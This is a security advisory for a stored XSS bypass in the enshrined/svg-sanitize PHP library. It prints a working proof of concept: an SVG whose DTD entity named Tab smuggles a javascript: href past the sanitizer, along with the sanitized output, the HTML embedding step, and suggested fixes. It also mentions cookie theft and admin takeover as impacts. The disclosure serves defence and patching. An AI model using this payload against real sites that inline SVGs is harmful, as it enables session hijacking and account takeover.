GHSA-9RJX-3JCH-6VJF
Vulnerability from github – Published: 2026-10-08 19:41 – Updated: 2026-10-08 19:41Summary
A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).
This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.
Affected installations: - enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents - WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes) - TYPO3, Drupal and 90+ other Packagist dependents
Vulnerability Details
Mechanism
-
Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
xml <!ENTITY Tab "#">In XML,	expands to the literal string"#"(from the DTD definition). In HTML5,	is a Named Character Reference that resolves to U+0009 (TAB character). -
The SVG uses this entity in an href:
xml <a href="	javascript:alert(document.domain)"> -
During sanitization (XML context):
	→"#"→ the sanitizer seeshref="#javascript:alert(document.domain)"→ starts with#→isHrefSafeValue()returns TRUE → passes through. -
Sanitizer output:
saveXML()outputs the entity reference	(not the expanded value), and strips the DOCTYPE declaration. -
In the browser (HTML5 context): Without the DOCTYPE,
	is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace →javascript:alert(document.domain)executes.
Root Cause (Sanitizer.php)
// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
if ('#' === substr($value, 0, 1)) {
return true; // Fragment identifier — "safe"
}
// ...
}
// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts
Proof of Concept
Malicious SVG (xss.svg)
<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
Sanitizer processing
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;
Output:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the 	 entity reference is preserved.
Browser exploitation
Embed the sanitized SVG inline in HTML:
<div class="svg-container">
<!-- sanitized SVG output inserted here -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
</div>
Clicking the red rectangle executes alert(document.domain).
Confirmed: Chrome 148. PoC file: XSS_CONFIRMED_POC.html
Exploitable Named Character References
Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:
- 	 → U+0009 (Horizontal Tab)
- 
 → U+000A (Line Feed)
These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.
Impact
Stored XSS
- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
- SVG passes sanitization — sanitizer reports no issues
- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
- Account takeover:
document.cookie,fetch('/wp-admin/...'), session hijacking
Context requirement
The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios:
- WordPress themes that echo file_get_contents($svg_path) for inline SVG rendering
- WordPress block editor SVG preview
- Any web application rendering svg-sanitize output directly in HTML
Standalone <img src="...svg"> is NOT affected (browser uses XML parser, 	 without DOCTYPE = XML parse error).
CVSS
CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
With session stealing / admin takeover chain: effective severity High.
Suggested Fix
Option 1: Strip DOCTYPE before parsing (recommended)
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);
Eliminates entity definitions entirely. No DTD entities = no collision.
Option 2: Validate href after serialization
$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)
Option 3: Expand entities before validation
Validate getAttribute() return value AND the serialized form:
$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme
Environment
- enshrined/svg-sanitize 0.22.x
- Chrome 148 (confirmed XSS execution)
- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)
Reported by ExPatch Security Research — expatch.llc Denis Rostilov
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "Packagist",
"name": "enshrined/svg-sanitize"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107380"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:41:15Z",
"nvd_published_at": "2026-10-08T18:17:23Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA crafted SVG bypasses `enshrined/svg-sanitize`\u0027s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).\n\n**This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug \u2014 it works on any PHP version.**\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes)\n- **TYPO3, Drupal** and 90+ other Packagist dependents\n\n## Vulnerability Details\n\n### Mechanism\n\n1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:\n ```xml\n \u003c!ENTITY Tab \"#\"\u003e\n ```\n In XML, `\u0026Tab;` expands to the literal string `\"#\"` (from the DTD definition).\n In HTML5, `\u0026Tab;` is a Named Character Reference that resolves to U+0009 (TAB character).\n\n2. The SVG uses this entity in an href:\n ```xml\n \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n ```\n\n3. **During sanitization** (XML context): `\u0026Tab;` \u2192 `\"#\"` \u2192 the sanitizer sees `href=\"#javascript:alert(document.domain)\"` \u2192 starts with `#` \u2192 `isHrefSafeValue()` returns **TRUE** \u2192 passes through.\n\n4. **Sanitizer output:** `saveXML()` outputs the entity reference `\u0026Tab;` (not the expanded value), and strips the DOCTYPE declaration.\n\n5. **In the browser** (HTML5 context): Without the DOCTYPE, `\u0026Tab;` is resolved as the HTML5 Named Character Reference \u2192 U+0009 (TAB). The URL parser strips leading whitespace \u2192 `javascript:alert(document.domain)` **executes**.\n\n### Root Cause (Sanitizer.php)\n\n```php\n// isHrefSafeValue() \u2014 evaluates EXPANDED value (after XML entity resolution)\nprotected function isHrefSafeValue($value) {\n if (\u0027#\u0027 === substr($value, 0, 1)) {\n return true; // Fragment identifier \u2014 \"safe\"\n }\n // ...\n}\n\n// But saveXML() preserves the entity REFERENCE, not the expanded value\n// And the DOCTYPE (which defines the entity) is stripped from output\n// \u2192 semantic mismatch between validation and output contexts\n```\n\n## Proof of Concept\n\n### Malicious SVG (xss.svg)\n\n```xml\n\u003c!DOCTYPE svg [\u003c!ENTITY Tab \"#\"\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n### Sanitizer processing\n\n```php\n\u003c?php\nrequire_once \u0027vendor/autoload.php\u0027;\n\n$svg = file_get_contents(\u0027xss.svg\u0027);\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho $clean;\n```\n\n**Output:**\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n \u003c/a\u003e\n\u003c/svg\u003e\n```\n\nThe `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `\u0026Tab;` entity reference is preserved.\n\n### Browser exploitation\n\nEmbed the sanitized SVG inline in HTML:\n```html\n\u003cdiv class=\"svg-container\"\u003e\n \u003c!-- sanitized SVG output inserted here --\u003e\n \u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n \u003c/a\u003e\n \u003c/svg\u003e\n\u003c/div\u003e\n```\n\n**Clicking the red rectangle executes `alert(document.domain)`.**\n\n**Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html`\n\n### Exploitable Named Character References\n\nAny HTML5 Named Character Reference that expands to a URL-parser-ignored character:\n- `\u0026Tab;` \u2192 U+0009 (Horizontal Tab)\n- `\u0026NewLine;` \u2192 U+000A (Line Feed)\n\nThese are stripped by the URL parser\u0027s scheme extraction, allowing `javascript:` to be the effective scheme.\n\n## Impact\n\n### Stored XSS\n\n- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint\n- SVG passes sanitization \u2014 sanitizer reports no issues\n- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page\u0027s origin\n- **Account takeover:** `document.cookie`, `fetch(\u0027/wp-admin/...\u0027)`, session hijacking\n\n### Context requirement\n\nThe sanitized SVG must be embedded **inline in HTML** (not as `\u003cimg src=\"file.svg\"\u003e`). Common scenarios:\n- WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering\n- WordPress block editor SVG preview\n- Any web application rendering svg-sanitize output directly in HTML\n\nStandalone `\u003cimg src=\"...svg\"\u003e` is NOT affected (browser uses XML parser, `\u0026Tab;` without DOCTYPE = XML parse error).\n\n## CVSS\n\n**CVSS 3.1: 6.1 (Medium)** \u2014 stored XSS, requires user click\n\n`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`\n\nWith session stealing / admin takeover chain: effective severity **High**.\n\n## Suggested Fix\n\n### Option 1: Strip DOCTYPE before parsing (recommended)\n\n```php\n$dirty = preg_replace(\u0027/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si\u0027, \u0027\u0027, $dirty);\n```\n\nEliminates entity definitions entirely. No DTD entities = no collision.\n\n### Option 2: Validate href after serialization\n\n```php\n$clean = $this-\u003exmlDocument-\u003esaveXML(...);\n// Post-serialization check: re-validate all href values in the OUTPUT\n// (catches entity references that bypass the XML-expanded check)\n```\n\n### Option 3: Expand entities before validation\n\nValidate `getAttribute()` return value AND the serialized form:\n```php\n$href = $element-\u003egetAttribute($attrName);\n$serialized = $this-\u003exmlDocument-\u003esaveXML($element);\n// Check both for javascript: scheme\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x\n- Chrome 148 (confirmed XSS execution)\n- PHP 8.3.24 (any version \u2014 bug is in PHP sanitizer logic, not ext/dom)\n\n**Reported by ExPatch Security Research \u2014 [expatch.llc](https://expatch.llc/)\nDenis Rostilov**",
"id": "GHSA-9rjx-3jch-6vjf",
"modified": "2026-10-08T19:41:15Z",
"published": "2026-10-08T19:41:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107380"
},
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
},
{
"type": "PACKAGE",
"url": "https://github.com/darylldoyle/svg-sanitizer"
},
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.